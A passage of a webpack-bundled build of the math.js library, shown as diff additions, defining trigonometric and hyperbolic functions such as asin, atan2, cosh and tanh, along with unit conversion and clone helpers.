1: "\\sec^{-1}\\left(${args[0]}\\right)" + }; + return asec; +} + +exports.name = 'asec'; +exports.factory = factory; + +/***/ }), +/* 331 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic arcsecant of a value, + * defined as `asech(x) = acosh(1/x) = ln(sqrt(1/x^2 - 1) + 1/x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.asech(x) + * + * Examples: + * + * math.asech(0.5) // returns 1.3169578969248166 + * + * See also: + * + * acsch, acoth + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic arcsecant of x + */ + var asech = typed('asech', { + 'number': function number(x) { + if (x <= 1 && x >= -1 || config.predictable) { + x = 1 / x; + var ret = Math.sqrt(x * x - 1); + + if (x > 0 || config.predictable) { + return Math.log(ret + x); + } + + return new type.Complex(Math.log(ret - x), Math.PI); + } + + return new type.Complex(x, 0).asech(); + }, + 'Complex': function Complex(x) { + return x.asech(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x).acosh(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, asech); + } + }); + asech.toTex = { + 1: "\\mathrm{sech}^{-1}\\left(${args[0]}\\right)" + }; + return asech; +} + +exports.name = 'asech'; +exports.factory = factory; + +/***/ }), +/* 332 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the inverse sine of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.asin(x) + * + * Examples: + * + * math.asin(0.5) // returns number 0.5235987755982989 + * math.asin(math.sin(1.5)) // returns number ~1.5 + * + * math.asin(2) // returns Complex 1.5707963267948966 -1.3169578969248166 i + * + * See also: + * + * sin, atan, acos + * + * @param {number | BigNumber | Complex | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} The arc sine of x + */ + var asin = typed('asin', { + 'number': function number(x) { + if (x >= -1 && x <= 1 || config.predictable) { + return Math.asin(x); + } else { + return new type.Complex(x, 0).asin(); + } + }, + 'Complex': function Complex(x) { + return x.asin(); + }, + 'BigNumber': function BigNumber(x) { + return x.asin(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since asin(0) = 0 + return deepMap(x, asin, true); + } + }); + asin.toTex = { + 1: "\\sin^{-1}\\left(${args[0]}\\right)" + }; + return asin; +} + +exports.name = 'asin'; +exports.factory = factory; + +/***/ }), +/* 333 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic arcsine of a value, + * defined as `asinh(x) = ln(x + sqrt(x^2 + 1))`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.asinh(x) + * + * Examples: + * + * math.asinh(0.5) // returns 0.48121182505960347 + * + * See also: + * + * acosh, atanh + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic arcsine of x + */ + var asinh = typed('asinh', { + 'number': Math.asinh || function (x) { + return Math.log(Math.sqrt(x * x + 1) + x); + }, + 'Complex': function Complex(x) { + return x.asinh(); + }, + 'BigNumber': function BigNumber(x) { + return x.asinh(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since asinh(0) = 0 + return deepMap(x, asinh, true); + } + }); + asinh.toTex = { + 1: "\\sinh^{-1}\\left(${args[0]}\\right)" + }; + return asinh; +} + +exports.name = 'asinh'; +exports.factory = factory; + +/***/ }), +/* 334 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the inverse tangent of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.atan(x) + * + * Examples: + * + * math.atan(0.5) // returns number 0.4636476090008061 + * math.atan(math.tan(1.5)) // returns number 1.5 + * + * math.atan(2) // returns Complex 1.5707963267948966 -1.3169578969248166 i + * + * See also: + * + * tan, asin, acos + * + * @param {number | BigNumber | Complex | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} The arc tangent of x + */ + var atan = typed('atan', { + 'number': function number(x) { + return Math.atan(x); + }, + 'Complex': function Complex(x) { + return x.atan(); + }, + 'BigNumber': function BigNumber(x) { + return x.atan(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since atan(0) = 0 + return deepMap(x, atan, true); + } + }); + atan.toTex = { + 1: "\\tan^{-1}\\left(${args[0]}\\right)" + }; + return atan; +} + +exports.name = 'atan'; +exports.factory = factory; + +/***/ }), +/* 335 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm09 = load(__webpack_require__(139)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Calculate the inverse tangent function with two arguments, y/x. + * By providing two arguments, the right quadrant of the computed angle can be + * determined. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.atan2(y, x) + * + * Examples: + * + * math.atan2(2, 2) / math.pi // returns number 0.25 + * + * const angle = math.unit(60, 'deg') // returns Unit 60 deg + * const x = math.cos(angle) + * const y = math.sin(angle) + * + * math.atan(2) // returns Complex 1.5707963267948966 -1.3169578969248166 i + * + * See also: + * + * tan, atan, sin, cos + * + * @param {number | Array | Matrix} y Second dimension + * @param {number | Array | Matrix} x First dimension + * @return {number | Array | Matrix} Four-quadrant inverse tangent + */ + + var atan2 = typed('atan2', { + 'number, number': Math.atan2, + // Complex numbers doesn't seem to have a reasonable implementation of + // atan2(). Even Matlab removed the support, after they only calculated + // the atan only on base of the real part of the numbers and ignored the imaginary. + 'BigNumber, BigNumber': function BigNumberBigNumber(y, x) { + return type.BigNumber.atan2(y, x); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm09(x, y, atan2, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + // mind the order of y and x! + return algorithm02(y, x, atan2, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, atan2, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, atan2); + }, + 'Array, Array': function ArrayArray(x, y) { + return atan2(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + return atan2(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + return atan2(x, matrix(y)); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + return algorithm11(x, y, atan2, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + return algorithm14(x, y, atan2, false); + }, + 'number | BigNumber, SparseMatrix': function numberBigNumberSparseMatrix(x, y) { + // mind the order of y and x + return algorithm12(y, x, atan2, true); + }, + 'number | BigNumber, DenseMatrix': function numberBigNumberDenseMatrix(x, y) { + // mind the order of y and x + return algorithm14(y, x, atan2, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + return algorithm14(matrix(x), y, atan2, false).valueOf(); + }, + 'number | BigNumber, Array': function numberBigNumberArray(x, y) { + return algorithm14(matrix(y), x, atan2, true).valueOf(); + } + }); + atan2.toTex = { + 2: "\\mathrm{atan2}\\left(${args}\\right)" + }; + return atan2; +} + +exports.name = 'atan2'; +exports.factory = factory; + +/***/ }), +/* 336 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic arctangent of a value, + * defined as `atanh(x) = ln((1 + x)/(1 - x)) / 2`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.atanh(x) + * + * Examples: + * + * math.atanh(0.5) // returns 0.5493061443340549 + * + * See also: + * + * acosh, asinh + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic arctangent of x + */ + var atanh = typed('atanh', { + 'number': function number(x) { + if (x <= 1 && x >= -1 || config.predictable) { + return _atanh(x); + } + + return new type.Complex(x, 0).atanh(); + }, + 'Complex': function Complex(x) { + return x.atanh(); + }, + 'BigNumber': function BigNumber(x) { + return x.atanh(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since atanh(0) = 0 + return deepMap(x, atanh, true); + } + }); + atanh.toTex = { + 1: "\\tanh^{-1}\\left(${args[0]}\\right)" + }; + return atanh; +} +/** + * Calculate the hyperbolic arctangent of a number + * @param {number} x + * @return {number} + * @private + */ + + +var _atanh = Math.atanh || function (x) { + return Math.log((1 + x) / (1 - x)) / 2; +}; + +exports.name = 'atanh'; +exports.factory = factory; + +/***/ }), +/* 337 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the cosine of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.cos(x) + * + * Examples: + * + * math.cos(2) // returns number -0.4161468365471422 + * math.cos(math.pi / 4) // returns number 0.7071067811865475 + * math.cos(math.unit(180, 'deg')) // returns number -1 + * math.cos(math.unit(60, 'deg')) // returns number 0.5 + * + * const angle = 0.2 + * math.pow(math.sin(angle), 2) + math.pow(math.cos(angle), 2) // returns number ~1 + * + * See also: + * + * cos, tan + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} Cosine of x + */ + var cos = typed('cos', { + 'number': Math.cos, + 'Complex': function Complex(x) { + return x.cos(); + }, + 'BigNumber': function BigNumber(x) { + return x.cos(); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function cos is no angle'); + } + + return cos(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, cos); + } + }); + cos.toTex = { + 1: "\\cos\\left(${args[0]}\\right)" + }; + return cos; +} + +exports.name = 'cos'; +exports.factory = factory; + +/***/ }), +/* 338 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic cosine of a value, + * defined as `cosh(x) = 1/2 * (exp(x) + exp(-x))`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.cosh(x) + * + * Examples: + * + * math.cosh(0.5) // returns number 1.1276259652063807 + * + * See also: + * + * sinh, tanh + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} Hyperbolic cosine of x + */ + var cosh = typed('cosh', { + 'number': _cosh, + 'Complex': function Complex(x) { + return x.cosh(); + }, + 'BigNumber': function BigNumber(x) { + return x.cosh(); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function cosh is no angle'); + } + + return cosh(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, cosh); + } + }); + cosh.toTex = { + 1: "\\cosh\\left(${args[0]}\\right)" + }; + return cosh; +} +/** + * Calculate the hyperbolic cosine of a number + * @param {number} x + * @returns {number} + * @private + */ + + +var _cosh = Math.cosh || function (x) { + return (Math.exp(x) + Math.exp(-x)) / 2; +}; + +exports.name = 'cosh'; +exports.factory = factory; + +/***/ }), +/* 339 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the cotangent of a value. Defined as `cot(x) = 1 / tan(x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.cot(x) + * + * Examples: + * + * math.cot(2) // returns number -0.45765755436028577 + * 1 / math.tan(2) // returns number -0.45765755436028577 + * + * See also: + * + * tan, sec, csc + * + * @param {number | Complex | Unit | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Cotangent of x + */ + var cot = typed('cot', { + 'number': function number(x) { + return 1 / Math.tan(x); + }, + 'Complex': function Complex(x) { + return x.cot(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x.tan()); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function cot is no angle'); + } + + return cot(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, cot); + } + }); + cot.toTex = { + 1: "\\cot\\left(${args[0]}\\right)" + }; + return cot; +} + +exports.name = 'cot'; +exports.factory = factory; + +/***/ }), +/* 340 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic cotangent of a value, + * defined as `coth(x) = 1 / tanh(x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.coth(x) + * + * Examples: + * + * // coth(x) = 1 / tanh(x) + * math.coth(2) // returns 1.0373147207275482 + * 1 / math.tanh(2) // returns 1.0373147207275482 + * + * See also: + * + * sinh, tanh, cosh + * + * @param {number | Complex | Unit | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic cotangent of x + */ + var coth = typed('coth', { + 'number': _coth, + 'Complex': function Complex(x) { + return x.coth(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x.tanh()); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function coth is no angle'); + } + + return coth(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, coth); + } + }); + coth.toTex = { + 1: "\\coth\\left(${args[0]}\\right)" + }; + return coth; +} +/** + * Calculate the hyperbolic cosine of a number + * @param {number} x + * @returns {number} + * @private + */ + + +function _coth(x) { + var e = Math.exp(2 * x); + return (e + 1) / (e - 1); +} + +exports.name = 'coth'; +exports.factory = factory; + +/***/ }), +/* 341 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the cosecant of a value, defined as `csc(x) = 1/sin(x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.csc(x) + * + * Examples: + * + * math.csc(2) // returns number 1.099750170294617 + * 1 / math.sin(2) // returns number 1.099750170294617 + * + * See also: + * + * sin, sec, cot + * + * @param {number | Complex | Unit | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Cosecant of x + */ + var csc = typed('csc', { + 'number': function number(x) { + return 1 / Math.sin(x); + }, + 'Complex': function Complex(x) { + return x.csc(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x.sin()); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function csc is no angle'); + } + + return csc(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, csc); + } + }); + csc.toTex = { + 1: "\\csc\\left(${args[0]}\\right)" + }; + return csc; +} + +exports.name = 'csc'; +exports.factory = factory; + +/***/ }), +/* 342 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var sign = __webpack_require__(3).sign; + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic cosecant of a value, + * defined as `csch(x) = 1 / sinh(x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.csch(x) + * + * Examples: + * + * // csch(x) = 1/ sinh(x) + * math.csch(0.5) // returns 1.9190347513349437 + * 1 / math.sinh(0.5) // returns 1.9190347513349437 + * + * See also: + * + * sinh, sech, coth + * + * @param {number | Complex | Unit | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic cosecant of x + */ + var csch = typed('csch', { + 'number': _csch, + 'Complex': function Complex(x) { + return x.csch(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x.sinh()); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function csch is no angle'); + } + + return csch(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, csch); + } + }); + csch.toTex = { + 1: "\\mathrm{csch}\\left(${args[0]}\\right)" + }; + return csch; +} +/** + * Calculate the hyperbolic cosecant of a number + * @param {number} x + * @returns {number} + * @private + */ + + +function _csch(x) { + // consider values close to zero (+/-) + if (x === 0) { + return Number.POSITIVE_INFINITY; + } else { + return Math.abs(2 / (Math.exp(x) - Math.exp(-x))) * sign(x); + } +} + +exports.name = 'csch'; +exports.factory = factory; + +/***/ }), +/* 343 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the secant of a value, defined as `sec(x) = 1/cos(x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.sec(x) + * + * Examples: + * + * math.sec(2) // returns number -2.4029979617223822 + * 1 / math.cos(2) // returns number -2.4029979617223822 + * + * See also: + * + * cos, csc, cot + * + * @param {number | Complex | Unit | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Secant of x + */ + var sec = typed('sec', { + 'number': function number(x) { + return 1 / Math.cos(x); + }, + 'Complex': function Complex(x) { + return x.sec(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x.cos()); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function sec is no angle'); + } + + return sec(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, sec); + } + }); + sec.toTex = { + 1: "\\sec\\left(${args[0]}\\right)" + }; + return sec; +} + +exports.name = 'sec'; +exports.factory = factory; + +/***/ }), +/* 344 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic secant of a value, + * defined as `sech(x) = 1 / cosh(x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.sech(x) + * + * Examples: + * + * // sech(x) = 1/ cosh(x) + * math.sech(0.5) // returns 0.886818883970074 + * 1 / math.cosh(0.5) // returns 0.886818883970074 + * + * See also: + * + * cosh, csch, coth + * + * @param {number | Complex | Unit | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic secant of x + */ + var sech = typed('sech', { + 'number': _sech, + 'Complex': function Complex(x) { + return x.sech(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x.cosh()); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function sech is no angle'); + } + + return sech(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, sech); + } + }); + sech.toTex = { + 1: "\\mathrm{sech}\\left(${args[0]}\\right)" + }; + return sech; +} +/** + * Calculate the hyperbolic secant of a number + * @param {number} x + * @returns {number} + * @private + */ + + +function _sech(x) { + return 2 / (Math.exp(x) + Math.exp(-x)); +} + +exports.name = 'sech'; +exports.factory = factory; + +/***/ }), +/* 345 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the sine of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.sin(x) + * + * Examples: + * + * math.sin(2) // returns number 0.9092974268256813 + * math.sin(math.pi / 4) // returns number 0.7071067811865475 + * math.sin(math.unit(90, 'deg')) // returns number 1 + * math.sin(math.unit(30, 'deg')) // returns number 0.5 + * + * const angle = 0.2 + * math.pow(math.sin(angle), 2) + math.pow(math.cos(angle), 2) // returns number ~1 + * + * See also: + * + * cos, tan + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} Sine of x + */ + var sin = typed('sin', { + 'number': Math.sin, + 'Complex': function Complex(x) { + return x.sin(); + }, + 'BigNumber': function BigNumber(x) { + return x.sin(); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function sin is no angle'); + } + + return sin(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since sin(0) = 0 + return deepMap(x, sin, true); + } + }); + sin.toTex = { + 1: "\\sin\\left(${args[0]}\\right)" + }; + return sin; +} + +exports.name = 'sin'; +exports.factory = factory; + +/***/ }), +/* 346 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic sine of a value, + * defined as `sinh(x) = 1/2 * (exp(x) - exp(-x))`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.sinh(x) + * + * Examples: + * + * math.sinh(0.5) // returns number 0.5210953054937474 + * + * See also: + * + * cosh, tanh + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} Hyperbolic sine of x + */ + var sinh = typed('sinh', { + 'number': _sinh, + 'Complex': function Complex(x) { + return x.sinh(); + }, + 'BigNumber': function BigNumber(x) { + return x.sinh(); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function sinh is no angle'); + } + + return sinh(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since sinh(0) = 0 + return deepMap(x, sinh, true); + } + }); + sinh.toTex = { + 1: "\\sinh\\left(${args[0]}\\right)" + }; + return sinh; +} +/** + * Calculate the hyperbolic sine of a number + * @param {number} x + * @returns {number} + * @private + */ + + +var _sinh = Math.sinh || function (x) { + return (Math.exp(x) - Math.exp(-x)) / 2; +}; + +exports.name = 'sinh'; +exports.factory = factory; + +/***/ }), +/* 347 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the tangent of a value. `tan(x)` is equal to `sin(x) / cos(x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.tan(x) + * + * Examples: + * + * math.tan(0.5) // returns number 0.5463024898437905 + * math.sin(0.5) / math.cos(0.5) // returns number 0.5463024898437905 + * math.tan(math.pi / 4) // returns number 1 + * math.tan(math.unit(45, 'deg')) // returns number 1 + * + * See also: + * + * atan, sin, cos + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} Tangent of x + */ + var tan = typed('tan', { + 'number': Math.tan, + 'Complex': function Complex(x) { + return x.tan(); + }, + 'BigNumber': function BigNumber(x) { + return x.tan(); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function tan is no angle'); + } + + return tan(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since tan(0) = 0 + return deepMap(x, tan, true); + } + }); + tan.toTex = { + 1: "\\tan\\left(${args[0]}\\right)" + }; + return tan; +} + +exports.name = 'tan'; +exports.factory = factory; + +/***/ }), +/* 348 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic tangent of a value, + * defined as `tanh(x) = (exp(2 * x) - 1) / (exp(2 * x) + 1)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.tanh(x) + * + * Examples: + * + * // tanh(x) = sinh(x) / cosh(x) = 1 / coth(x) + * math.tanh(0.5) // returns 0.46211715726000974 + * math.sinh(0.5) / math.cosh(0.5) // returns 0.46211715726000974 + * 1 / math.coth(0.5) // returns 0.46211715726000974 + * + * See also: + * + * sinh, cosh, coth + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} Hyperbolic tangent of x + */ + var tanh = typed('tanh', { + 'number': _tanh, + 'Complex': function Complex(x) { + return x.tanh(); + }, + 'BigNumber': function BigNumber(x) { + return x.tanh(); + }, + 'Unit': function Unit(x) { + if (!x.hasBase(type.Unit.BASE_UNITS.ANGLE)) { + throw new TypeError('Unit in function tanh is no angle'); + } + + return tanh(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since tanh(0) = 0 + return deepMap(x, tanh, true); + } + }); + tanh.toTex = { + 1: "\\tanh\\left(${args[0]}\\right)" + }; + return tanh; +} +/** + * Calculate the hyperbolic tangent of a number + * @param {number} x + * @returns {number} + * @private + */ + + +var _tanh = Math.tanh || function (x) { + var e = Math.exp(2 * x); + return (e - 1) / (e + 1); +}; + +exports.name = 'tanh'; +exports.factory = factory; + +/***/ }), +/* 349 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(350)]; + +/***/ }), +/* 350 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Change the unit of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.to(x, unit) + * + * Examples: + * + * math.to(math.unit('2 inch'), 'cm') // returns Unit 5.08 cm + * math.to(math.unit('2 inch'), math.unit(null, 'cm')) // returns Unit 5.08 cm + * math.to(math.unit(16, 'bytes'), 'bits') // returns Unit 128 bits + * + * See also: + * + * unit + * + * @param {Unit | Array | Matrix} x The unit to be converted. + * @param {Unit | Array | Matrix} unit New unit. Can be a string like "cm" + * or a unit without value. + * @return {Unit | Array | Matrix} value with changed, fixed unit. + */ + + var to = typed('to', { + 'Unit, Unit | string': function UnitUnitString(x, unit) { + return x.to(unit); + }, + 'Matrix, Matrix': function MatrixMatrix(x, y) { + // SparseMatrix does not support Units + return algorithm13(x, y, to); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return to(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return to(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return to(x, matrix(y)); + }, + 'Matrix, any': function MatrixAny(x, y) { + // SparseMatrix does not support Units + return algorithm14(x, y, to, false); + }, + 'any, Matrix': function anyMatrix(x, y) { + // SparseMatrix does not support Units + return algorithm14(y, x, to, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, to, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, to, true).valueOf(); + } + }); + to.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['to'], "${args[1]}\\right)") + }; + return to; +} + +exports.name = 'to'; +exports.factory = factory; + +/***/ }), +/* 351 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(352), __webpack_require__(34), __webpack_require__(61), __webpack_require__(52), __webpack_require__(353), __webpack_require__(73), __webpack_require__(354), __webpack_require__(60), __webpack_require__(79), __webpack_require__(26)]; + +/***/ }), +/* 352 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var object = __webpack_require__(5); + +function factory(type, config, load, typed) { + /** + * Clone an object. + * + * Syntax: + * + * math.clone(x) + * + * Examples: + * + * math.clone(3.5) // returns number 3.5 + * math.clone(math.complex('2-4i') // returns Complex 2 - 4i + * math.clone(math.unit(45, 'deg')) // returns Unit 45 deg + * math.clone([[1, 2], [3, 4]]) // returns Array [[1, 2], [3, 4]] + * math.clone("hello world") // returns string "hello world" + * + * @param {*} x Object to be cloned + * @return {*} A clone of object x + */ + var clone = typed('clone', { + 'any': object.clone + }); + clone.toTex = undefined; // use default template + + return clone; +} + +exports.name = 'clone'; +exports.factory = factory; + +/***/ }), +/* 353 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var isNumeric = load(__webpack_require__(52)); + /** + * Test whether a value is an numeric value. + * + * In case of a string, true is returned if the string contains a numeric value. + * + * Syntax: + * + * math.hasNumericValue(x) + * + * Examples: + * + * math.hasNumericValue(2) // returns true + * math.hasNumericValue('2') // returns true + * math.isNumeric('2') // returns false + * math.hasNumericValue(0) // returns true + * math.hasNumericValue(math.bignumber(500)) // returns true + * math.hasNumericValue(math.fraction(4)) // returns true + * math.hasNumericValue(math.complex('2-4i') // returns false + * math.hasNumericValue([2.3, 'foo', false]) // returns [true, false, true] + * + * See also: + * + * isZero, isPositive, isNegative, isInteger, isNumeric + * + * @param {*} x Value to be tested + * @return {boolean} Returns true when `x` is a `number`, `BigNumber`, + * `Fraction`, `Boolean`, or a `String` containing number. Returns false for other types. + * Throws an error in case of unknown types. + */ + + var hasNumericValue = typed('hasNumericValue', { + 'string': function 